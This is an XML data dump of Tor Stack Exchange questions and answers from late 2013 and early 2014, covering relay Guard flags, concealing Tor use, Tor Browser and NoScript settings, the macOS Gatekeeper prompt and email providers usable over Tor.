  <row Id="1175" PostTypeId="2" ParentId="1174" CreationDate="2013-12-30T17:21:59.667" Score="4" Body="&lt;p&gt;Each authority votes on what they think the proper flags are for your relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently it seems 5 think angrykitteh should have the Guard flag, and 4 think it shouldn't yet.  Depeding on which authorities manage to vote for which consensus, the flag might end up being set in the consensus or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose in a while the remaining 4 authorities will also conclude that your relay is sufficiently stable and give you the guard flag.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-12-30T17:21:59.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1177" PostTypeId="1" AcceptedAnswerId="1182" CreationDate="2013-12-30T23:09:02.610" Score="3" ViewCount="402" Body="&lt;p&gt;The fact that someone was using Tor was enough to &lt;a href=&quot;https://ixquick-proxy.com/do/proxy?ep=48467458546a45524856555a46554e4a457a45474d6c3542646e784a4d7763494e6b30425530774e4156492b456c7754446d396559475264486b4d30494245385631686a584877564a46733542415a2f56435554413035744154455852524e56554477694d526331586846475654417345306f4241776b72586b4a5048524d365655414d4d4364464244555653684a644e53454b664634774d7974334a5359354f68456a6379516f47544d6e5552384a465839414d5559685051414a626c5975434559584a546857537752654854355a624246475278314c455635474a6b3463496c55705647466c5477414149454d6e4656742f496834624b4664454747454a4e41674a587774514e41383645776747464651694a6a5a5a6255775551536b2f574374734a46343851555a5a59414d51416c704b485241585577734248456f464e6b42654d48643555303556576b4d324541635a6545516a4e43595a6156415064485a365569554b474355745a41394a5845344c4d46306148453054566b316b4d55677448425a734e45733846574e53486c553242686c4f466756565746636c5744465a417a497245327746476949555778384947454548486752654e4274744b433431526731434e79734e653074434968707a4f7941524e514a58634756795152514d64555945486773505142516d5943355a4c46346551676f3059416843466764444c5656455378735150464e4141694d7041674d31556b7766585573496467354c4a473934664645474555596e516c6b50567a42615755564342415a79535855424d6e7062&amp;amp;epile=4q6n41784q7n45794q7n41794q6p38344q6935725n586o3q&amp;amp;edata=79eb2610fb044f1051d2fc242e7681ed&amp;amp;ek=66544r716145466n653268376353556s4n46412s566n7877526o52395554553856796o7n6133786s5n44526649577879506p39755755497849795n61523331564n44424650304639516r31615n584n43493042784n54395164454n79626r777n6530684r517n785950336s6n666p564r59434r6o63534n664q576o706448316566696874516p456o646p457n4s483567653235454s586843576o394o6157643164454n775047746r56574n6s6433646p5n45496s52544n52546n6s6q5154395765544r2o526p4r344o47737n4q6p6s325132496n4n6q386s65586772556n3573517n645n615578556157313055444r4565443943556q7830537n4933617n353655576p3750474r325758744o5932526r656n4r585231453855436p364n6o56574o304r4o5353704q4q54356o5543563964696s3662574n78626q6p6p6569737956336o36556o5n4n61336s33614864586444556853434647556o63715754452s52455n446445682o61465655575439764q54703751446830657952394q33315n52336p4q6348704o5754394q5n513q3q&amp;amp;ekdata=9e504ba6fba36b552fcbaad0d29b5ed0&quot; rel=&quot;noreferrer&quot;&gt;make him a suspect in a recent bomb thread&lt;/a&gt; The time he connected to the Tor network was circumstantial evidence, and he proceeded to confess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point of this is, just knowing who is using Tor is a threat to anonymity. So my question is this: How do I prevent people from knowing I am using Tor?&lt;/p&gt;&#xA;" OwnerUserId="812" LastEditorUserId="131" LastEditDate="2013-12-31T13:32:34.530" LastActivityDate="2013-12-31T13:32:34.530" Title="How to keep people from knowing you are using Tor?" Tags="|anonymity|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1178" PostTypeId="2" ParentId="1174" CreationDate="2013-12-30T23:43:09.193" Score="1" Body="&lt;p&gt;I am in the same situation. My relay is &lt;a href=&quot;https://atlas.torproject.org/#details/46B1C969D0A45CAE908ECC7EC0FEF7EF4C855961&quot; rel=&quot;nofollow&quot;&gt;jobiwan&lt;/a&gt;. Guard flag has been wild lately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe this happens when your bandwidth is just about enough to be guard. The authorities vote 4 against 5 or 5 against 4 and small fluctuations in your consensus weight fraction can flip the balance. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2013-12-30T23:43:09.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1179" PostTypeId="2" ParentId="481" CreationDate="2013-12-31T01:28:31.117" Score="1" Body="&lt;p&gt;Your bridge's nickname is found in &lt;code&gt;/etc/tor/torrc&lt;/code&gt; on your ec2 instance (log in with ssh to get here, then type &lt;code&gt;cat /etc/tor/torrc&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this information here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikibooks.org/wiki/How_to_Protect_your_Internet_Anonymity_and_Privacy/Your_own_TOR_node_on_Amazon_EC2&quot; rel=&quot;nofollow&quot;&gt;http://en.wikibooks.org/wiki/How_to_Protect_your_Internet_Anonymity_and_Privacy/Your_own_TOR_node_on_Amazon_EC2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then search for this nickname in &lt;a href=&quot;http://globe.rndm.de/&quot; rel=&quot;nofollow&quot;&gt;Globe&lt;/a&gt; (though you may have to wait about a day for it to show up).&lt;/p&gt;&#xA;" OwnerUserId="868" LastEditorUserId="71" LastEditDate="2013-12-31T13:33:09.233" LastActivityDate="2013-12-31T13:33:09.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1180" PostTypeId="2" ParentId="209" CreationDate="2013-12-31T01:36:08.773" Score="0" Body="&lt;p&gt;See my answer to a similar question &lt;a href=&quot;https://tor.stackexchange.com/a/1179/868&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Briefly, search by nickname which you'll find on your ec2 instance in /etc/tor/torrc&lt;/p&gt;&#xA;" OwnerUserId="868" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2013-12-31T01:36:08.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1181" PostTypeId="1" CreationDate="2013-12-31T01:44:06.600" Score="13" ViewCount="5460" Body="&lt;p&gt;How to protect a hidden service against DDOS attack? I did some research and found that it is possible to do load balancing with HAProxy. Is there any other solution that could be implemented?&lt;/p&gt;&#xA;" OwnerUserId="869" LastActivityDate="2022-12-20T04:47:30.373" Title="How to protect a hidden service against DDOS attack?" Tags="|onion-services|load-balance|server-administration|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1182" PostTypeId="2" ParentId="1177" CreationDate="2013-12-31T12:58:05.580" Score="4" Body="&lt;p&gt;Reliably denying the use of Tor is not possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use bridges, but if someone sees traffic from your host to some destination and he thinks it is a bridge he just can connect to it and use it as bridge and therefore know that you use Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obfuscated bridges (obfsproxy bridges or flash proxy) might work better, but there are still ways to discover the use of Tor. Though one can't see that one is using Tor from just looking at the traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a VPN before connecting to Tor could make you identifiable from the VPN providers side. Indeed another step for someone to investigate. Given &quot;your&quot; use-case it wouldn't have helped much if he would have been the only one that connected to a VPN provider at the time the email was sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the solution to &quot;He is using Tor, so he is a suspect.&quot; is to have more users use Tor. The more users there are the more people one could hide in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No one should do stupid things over Tor anyway.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2013-12-31T12:58:05.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1183" PostTypeId="1" CreationDate="2013-12-31T17:11:13.340" Score="1" ViewCount="2010" Body="&lt;p&gt;I recently updated Tor Browser and now I can't permanently allow javascript through the NoScript menu. All I see in it is &quot;Temporarily allow all this page&quot; and options to disable already enabled sites. If I want to enable it on the current site, I have to permanently enable all the page and then disable what I don't want, and these exceptions are not stored permanently. Plus it is time consuming. Why did the original options disappear? How can I easily enable javascript for websites like before?&lt;/p&gt;&#xA;" OwnerUserId="870" LastEditorUserId="71" LastEditDate="2013-12-31T18:48:52.043" LastActivityDate="2014-01-01T13:40:32.397" Title="Why did the option to permanently allow javascript disappear from the NoScript menu in Tor Browser?" Tags="|tor-browser-bundle|javascript|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1184" PostTypeId="2" ParentId="1183" CreationDate="2014-01-01T13:40:32.397" Score="2" Body="&lt;p&gt;As users with different JavaScript settings are easier to fingerprint it would seem to make sense to limit the number of sets someone can fall into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally JavaScript would be either on or off, whereas off would be the best possible solution if not so many websites would require JavaScript to work. The reason for it being on by default is just that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you temporarily allow something for the session it won't bite you back if someone inspects your computer with the TorBrowser on it as he is unable to tell if you visited a website and had JavaScript enabled or not. If you allow it permanent it might do just that, it bites you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it is possible to tell users apart that allow JavaScript for a combination from x), y) or z), there will be no difference these users if the all allow scripts from x, y and z.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a support point of view it also makes sense to enable all scripts on a website temporarily, since there are websites that run scripts from y) and also require scripts from z) to function properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Less anonymity issues, less support issues. Maybe easier to handle by users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Arguably one can say that it is dangerous to run all scripts a website would like. Arguably one can say that not all scripts are required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this are valid statements you can (re-)enable the entries you want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NoScript Options &amp;gt; [Appearance] &amp;gt; Show...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="131" LastActivityDate="2014-01-01T13:40:32.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1185" PostTypeId="1" CreationDate="2014-01-01T15:48:27.257" Score="3" ViewCount="329" Body="&lt;p&gt;I can open www.freenet.de under Tor, but if I want to log into my email account, it is rejected under Tor. What can I do? Freenet says that I should delete all cookies and browsing history. I did that, but even no access.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2020-02-14T07:15:07.183" Title="Why doesn't my freenet.de email account open under Tor?" Tags="|email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1187" PostTypeId="1" CreationDate="2014-01-02T01:34:04.227" Score="9" ViewCount="22668" Body="&lt;p&gt;I've downloaded the TBB but it won't open because &quot;TorBrowserBundle_en-US&quot; is from an &quot;unidentified developer&quot;. How do I solve this?&lt;/p&gt;&#xA;" OwnerUserId="874" LastEditorUserId="71" LastEditDate="2014-01-02T13:47:43.513" LastActivityDate="2019-05-28T19:11:20.520" Title="My OSX is saying &quot;TorBrowserBundle_en-US&quot; can't be opened because it is from an unidentified developer" Tags="|tor-browser-bundle|mac|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1188" PostTypeId="1" CreationDate="2014-01-02T16:37:57.823" Score="6" ViewCount="42677" Body="&lt;p&gt;I have a nexus7 1st gen, 4.4.2 android. I just get a red cross on orweb saying I am not using it. Are there settings I should be using?&lt;/p&gt;&#xA;" OwnerUserId="876" LastActivityDate="2018-03-15T15:03:51.257" Title="Installed orbot and orweb but still no connection with android tablet" Tags="|orbot|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1189" PostTypeId="1" CreationDate="2014-01-02T18:10:17.033" Score="2" ViewCount="7388" Body="&lt;p&gt;When I update Adobe Flash Player, it only updates the Firefox version and not the Tor Browser. How can I update Tor Browser &amp;amp; Adobe Flash Player?&lt;/p&gt;&#xA;" OwnerUserId="877" LastEditorDisplayName="user5" LastEditDate="2014-01-02T23:45:31.157" LastActivityDate="2014-09-28T19:53:07.907" Title="Updating Adobe Flash Player to Tor Browser" Tags="|tor-browser-bundle|firefox|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1190" PostTypeId="2" ParentId="1189" CreationDate="2014-01-02T19:41:55.227" Score="4" Body="&lt;p&gt;Plugins, like Flash, are supposed to be disabled because they can bypass Tor and harm your anonymity. Whenever you install or update Flash this should have no effect on any browser that is not installed and it should not affect the TorBrower, because it even seeks to prevent Flash from loading.&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="71" LastEditDate="2014-01-02T23:44:59.670" LastActivityDate="2014-01-02T23:44:59.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1191" PostTypeId="2" ParentId="1187" CreationDate="2014-01-02T22:01:21.857" Score="9" Body="&lt;p&gt;With some security configurations Apple's operating systems will refuse to run any application they haven't specifically vetted by Apple Corp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get around this easily. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://support.apple.com/kb/PH11436&quot;&gt;Apple's OSX 10.8 support document&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can choose to override your security settings and open the app&#xA;  anyway.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In the Finder, locate the app you want to open. Most apps can be found in the Applications folder.&#xA;  Press the Control-key and click the app icon.&#xA;  Choose Open from the pop-up menu.&#xA;  Click Open.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(The &lt;a href=&quot;http://support.apple.com/kb/PH14369&quot;&gt;Mac OSX 10.9 support document&lt;/a&gt; has the same suggestion)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reminder: any executable file from the internet is subject to tampering. Be sure to &lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html.en&quot;&gt;verify the gpg signature&lt;/a&gt; of the Tor file you downloaded before running it. Apple's &lt;a href=&quot;https://developer.apple.com/developer-id/&quot;&gt;Gatekeeper program&lt;/a&gt; (the feature that blocks the initial running of Tor) is designed to help ease the process of verifying binaries for most users but for third parties who are not registered (like the Tor foundation) it results in extra hassle.&lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="610" LastEditDate="2014-01-06T19:58:36.310" LastActivityDate="2014-01-06T19:58:36.310" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1192" PostTypeId="1" CreationDate="2014-01-03T15:09:11.770" Score="1" ViewCount="567" Body="&lt;p&gt;I am currently using Sandboxie and I get an alert from Sandboxie that Tor wants to launch cmd.exe each time Tor starts or exit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently using version 3.5 of Tor Browser Bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does Tor do with cmd.exe and should I allow Tor to use cmd.exe?&lt;/p&gt;&#xA;" OwnerUserId="881" LastEditorUserId="94" LastEditDate="2014-01-08T18:08:56.553" LastActivityDate="2014-09-01T15:46:22.070" Title="Tor wants to launch cmd.exe each time it starts or exit" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1193" PostTypeId="1" AcceptedAnswerId="1198" CreationDate="2014-01-03T18:52:29.547" Score="2" ViewCount="56" Body="&lt;p&gt;in the Tor &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/dir-spec.txt&quot; rel=&quot;nofollow&quot;&gt;dir-spec.txt&lt;/a&gt; I can see a note stating that due to squid proxy url limitations it is only possible to download 96 descriptors when using the fingerprints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this also apply to the digests? Or is it an other value for them?&lt;/p&gt;&#xA;" OwnerUserId="612" LastEditorUserId="88" LastEditDate="2014-01-29T16:13:37.373" LastActivityDate="2014-01-29T16:13:37.373" Title="How many descriptors can be retrieved in one request using the descriptor digest?" Tags="|protocol|directory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1194" PostTypeId="5" CreationDate="2014-01-03T18:55:04.087" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/projects/obfsproxy.html.en&quot; rel=&quot;nofollow&quot;&gt;obfsproxy&lt;/a&gt; is a tool that attempts to circumvent censorship, by transforming the Tor traffic between the client and the bridge. This way, censors, who usually monitor traffic between the client and the bridge, will see innocent-looking transformed traffic instead of the actual Tor traffic.&lt;/p&gt;&#xA;" OwnerUserId="612" LastEditorUserId="612" LastEditDate="2014-01-03T22:48:42.093" LastActivityDate="2014-01-03T22:48:42.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1195" PostTypeId="4" CreationDate="2014-01-03T18:55:04.087" Score="0" Body="obfsproxy is a tool that attempts to circumvent censorship, by transforming the Tor traffic between the client and the bridge." OwnerUserId="612" LastEditorUserId="612" LastEditDate="2014-01-03T22:48:28.310" LastActivityDate="2014-01-03T22:48:28.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1196" PostTypeId="5" CreationDate="2014-01-03T18:56:28.607" Score="0" Body="&lt;p&gt;iOS (previously iPhone OS) is a mobile operating system developed and distributed by Apple Inc.&lt;/p&gt;&#xA;" OwnerUserId="612" LastEditorUserId="612" LastEditDate="2014-01-03T22:48:16.950" LastActivityDate="2014-01-03T22:48:16.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1197" PostTypeId="4" CreationDate="2014-01-03T18:56:28.607" Score="0" Body="iOS (previously iPhone OS) is a mobile operating system developed and distributed by Apple Inc." OwnerUserId="612" LastEditorUserId="612" LastEditDate="2014-01-03T22:48:47.780" LastActivityDate="2014-01-03T22:48:47.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1198" PostTypeId="2" ParentId="1193" CreationDate="2014-01-03T23:05:40.857" Score="2" Body="&lt;p&gt;As the digest of the descriptor is done the same way the fingerprint is calculated both have a binary length of 20 bytes (40 bytes in hex notation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the same limit applies for the descriptor digest.&lt;/p&gt;&#xA;" OwnerUserId="612" LastActivityDate="2014-01-03T23:05:40.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1199" PostTypeId="1" CreationDate="2014-01-04T02:56:58.887" Score="0" ViewCount="12584" Body="&lt;p&gt;I'd like to know how I can get a new IP address (besides opening and closing the TOR browser)&lt;/p&gt;&#xA;" OwnerUserId="883" LastEditorUserId="71" LastEditDate="2014-01-04T12:38:43.040" LastActivityDate="2014-07-22T14:48:27.957" Title="How can I renew an IP address?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ClosedDate="2014-01-06T14:45:53.283" ContentLicense="CC BY-SA 3.0" />
  <row Id="1200" PostTypeId="1" CreationDate="2014-01-04T07:38:27.970" Score="0" ViewCount="1753" Body="&lt;p&gt;I am using uTorrent via Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it works because I can download torrents, but the problem is that downloads don't start for all torrents. Only some of them work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same torrents work for my friends who are not under a proxy network. What could be the reason for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PYPpq.png&quot; alt=&quot;Screenshot, torrent #1 and #2 never start&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TcKnV.png&quot; alt=&quot;uTorrent Connection Preferences&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kGCOI.png&quot; alt=&quot;Proxy setings I use to connect tor browser&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="71" LastEditDate="2014-01-09T20:21:34.143" LastActivityDate="2014-01-09T20:26:32.590" Title="Torrent download starts only for a few torrents, rest are still &quot;connecting to peers&quot; . Am I missing something?" Tags="|bittorrent|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1203" PostTypeId="1" CreationDate="2014-01-04T17:56:06.073" Score="2" ViewCount="2022" Body="&lt;p&gt;I would like to access the Tor network (hidden services/.onion sites) and Http sites using Firefox. I currently route Firefox and a download manager to access Http sites through an SSH tunnel server. I can also access the Tor network with the &lt;strong&gt;&lt;em&gt;Tor Browser&lt;/em&gt;&lt;/strong&gt; and access .onion sites. But I haven't figured out how to route Firefox to access both the Tor network (.onion) and Http sites seamlessly. I  have tried to configure ProxyCap (Freecap for Mac) to do this but am not sure how to configure it to enable Firefox to do this. Everything I've tried has only been partially successful. I've read that generally you want to route traffic according to this protocol ...Firefox -&gt; Tor -&gt; Proxycap -&gt; SSH server to prevent DNS leaks, etc. Is this correct? If so what are general configuration settings? &lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="923" LastEditDate="2014-07-04T14:25:40.980" LastActivityDate="2014-07-04T14:25:40.980" Title="Configuring Firefox to access Tor network and SSH tunnel server" Tags="|configuration|firefox|ssh|" AnswerCount="0" CommentCount="1" ClosedDate="2014-12-06T21:52:19.247" ContentLicense="CC BY-SA 3.0" />
  <row Id="1205" PostTypeId="1" CreationDate="2014-01-05T06:56:39.763" Score="0" ViewCount="125" Body="&lt;p&gt;Which version is better to be used ?&lt;br&gt;&#xA;Because both of them are released to be used as stable versions but I don't know. I expect not Tor 3.5 because still first release for this type of Tor. Give me any comments or viewpoints that could increase my information.&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="88" LastEditDate="2014-07-04T14:26:52.287" LastActivityDate="2014-07-08T17:49:42.050" Title="Is Tor 3.5 better or 0.2.4.20?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="1" ClosedDate="2014-09-09T17:13:35.960" ContentLicense="CC BY-SA 3.0" />
  <row Id="1206" PostTypeId="1" CreationDate="2014-01-05T11:11:35.627" Score="1" ViewCount="854" Body="&lt;p&gt;On &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en#ubuntu&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt; it is written that one should not use packages in Ubuntu universe as they are not reliably updated. I have .tar.xz file from where I extracted Tor and using it. And when checked Firefox ESR said it is up to date. Ver. 24.2.0. So ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS I think .tar.xz is a kind of package.&lt;/p&gt;&#xA;" OwnerUserId="896" LastEditorUserId="923" LastEditDate="2014-03-05T19:22:58.757" LastActivityDate="2014-03-05T19:22:58.757" Title="Is using Tor in .tar.xz file right in Xubuntu?" Tags="|tor-browser-bundle|linux|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1207" PostTypeId="1" CreationDate="2014-01-05T11:40:17.070" Score="9" ViewCount="32428" Body="&lt;p&gt;There was a TorMail: &lt;code&gt;Tor Mail is a free anonymous email service provider&lt;/code&gt; &lt;a href=&quot;http://tormail.org&quot; rel=&quot;nofollow&quot;&gt;http://tormail.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After FBI intel led to a raid in Ireland it become down&#xA;&lt;a href=&quot;http://jhiwjjlqpyawmpjx.onion&quot; rel=&quot;nofollow&quot;&gt;http://jhiwjjlqpyawmpjx.onion&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can use &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://aol.com&quot; rel=&quot;nofollow&quot;&gt;http://aol.com&lt;/a&gt; - js required.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://hotmail.com&quot; rel=&quot;nofollow&quot;&gt;http://hotmail.com&lt;/a&gt; - from time to time locks account. Now requires js.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://excite.com&quot; rel=&quot;nofollow&quot;&gt;http://excite.com&lt;/a&gt; - js required.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://yandex.com&quot; rel=&quot;nofollow&quot;&gt;http://yandex.com&lt;/a&gt; - js required.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Where I can get a full list of Tor-friendly E-mail services?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've browse &lt;a href=&quot;http://www.dmoz.org/Computers/Internet/E-mail/&quot; rel=&quot;nofollow&quot;&gt;Open Directory Project: E-mail&lt;/a&gt;&lt;br&gt;&#xA;E.g. 5 E-mail services of Italy give me nothing, 100 tries of capthas - fail, local cell phone required, etc...&lt;/p&gt;&#xA;" OwnerUserId="792" LastEditorUserId="-1" LastEditDate="2015-07-27T21:25:38.413" LastActivityDate="2015-07-27T21:25:38.413" Title="Where I can get largest list of Tor-friendly email services?" Tags="|email|" AnswerCount="9" CommentCount="5" ClosedDate="2015-01-01T14:15:10.987" ContentLicense="CC BY-SA 3.0" />
  <row Id="1208" PostTypeId="2" ParentId="1206" CreationDate="2014-01-05T11:46:05.560" Score="1" Body="&lt;p&gt;The current version for Linux should be &lt;code&gt;tor-browser-linux32-3.5_en-US.tar.xz&lt;/code&gt; for the 32-bit version (replace 32 with 64 for the 64-bit version), so it sounds like you have it right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially &lt;code&gt;.tar.xz&lt;/code&gt; means that you have a &lt;a href=&quot;https://en.wikipedia.org/wiki/Tar_%28computing%29&quot; rel=&quot;nofollow&quot;&gt;tar&lt;/a&gt; file that has been compressed using the &lt;a href=&quot;https://en.wikipedia.org/wiki/Xz&quot; rel=&quot;nofollow&quot;&gt;xz&lt;/a&gt; method. You can think of this as being similar to downloading a &lt;a href=&quot;https://en.wikipedia.org/wiki/Zip_%28file_format%29&quot; rel=&quot;nofollow&quot;&gt;zip&lt;/a&gt; file and extracting that the same way. The Tor Project use &lt;code&gt;.zip&lt;/code&gt; files for Mac releases and &lt;code&gt;.tar.xz&lt;/code&gt; files for Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ubuntu does have Tor releases in their &quot;Universe&quot; repository, and this may be easier to install, but it often lags behind the official Tor Project releases so may have unpatched security problems. You're also unable to verify the package signature when downloading over APT.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2014-01-05T17:57:12.753" LastActivityDate="2014-01-05T17:57:12.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1209" PostTypeId="1" CreationDate="2014-01-05T13:54:54.597" Score="3" ViewCount="468" Body="&lt;p&gt;in Tor browser how do I remove the ad banner that prevents me from accessing the bottom of the browser screen because I can not enter or select certain items placed at the bottom of page. Is there a pay version of Tor without advertising?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor browser download from apple store&#xA;Configuration : iPad, iOs 7.0.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JGrrx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="897" LastEditorUserId="71" LastEditDate="2014-01-06T11:29:09.587" LastActivityDate="2014-01-21T06:51:07.953" Title="Remove Ad banner" Tags="|support|ios|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1210" PostTypeId="2" ParentId="1205" CreationDate="2014-01-05T15:42:51.273" Score="2" Body="&lt;p&gt;It sounds like you're confusing the Tor Browser Bundle (currently at 3.5) with the Tor executable (currently in the 0.2.4.x series).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Browser Bundle (version 3.5) contains, as part of it, an automatically configured version of the Tor executable (0.2.4 series).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You most likely want the Tor Browser Bundle, unless you're wanting to take advantage of more advanced features.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-01-05T15:42:51.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1212" PostTypeId="1" CreationDate="2014-01-05T21:02:36.547" Score="1" ViewCount="68" Body="&lt;p&gt;I'm wondering if there's a way to modify the look of the Tor Browser Bundle. Specifically, if I want to hide the &quot;Updates Available&quot; button on the browser, does anyone know how I could go about doing that?&lt;/p&gt;&#xA;" OwnerUserId="900" LastEditorUserId="71" LastEditDate="2014-01-06T11:28:59.117" LastActivityDate="2014-05-05T16:49:41.450" Title="How can I hide the &quot;Updates Available&quot; button on the Tor Browser Bundle?" Tags="|tor-browser-bundle|configuration|firefox|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1214" PostTypeId="2" ParentId="1185" CreationDate="2014-01-06T00:55:10.900" Score="1" Body="&lt;p&gt;That often happens when NoScript is not allowing the scripts the site needs to log you in. To you it will appear that you have entered your username and password, but the data is not sent to the site. Click on the NoScript icon and temporarily allow all on the page or set the options to allow you to control individual scripts. &#xA;(Which is more difficult because sites often require lots of other sites to work, I had to allow 5 other sites to make this page work, and one of them contained the name Google (which is the enemy of everything Tor stands for in my opinion)).&lt;/p&gt;&#xA;" OwnerUserId="812" LastEditorUserId="923" LastEditDate="2014-07-04T14:27:15.333" LastActivityDate="2014-07-04T14:27:15.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
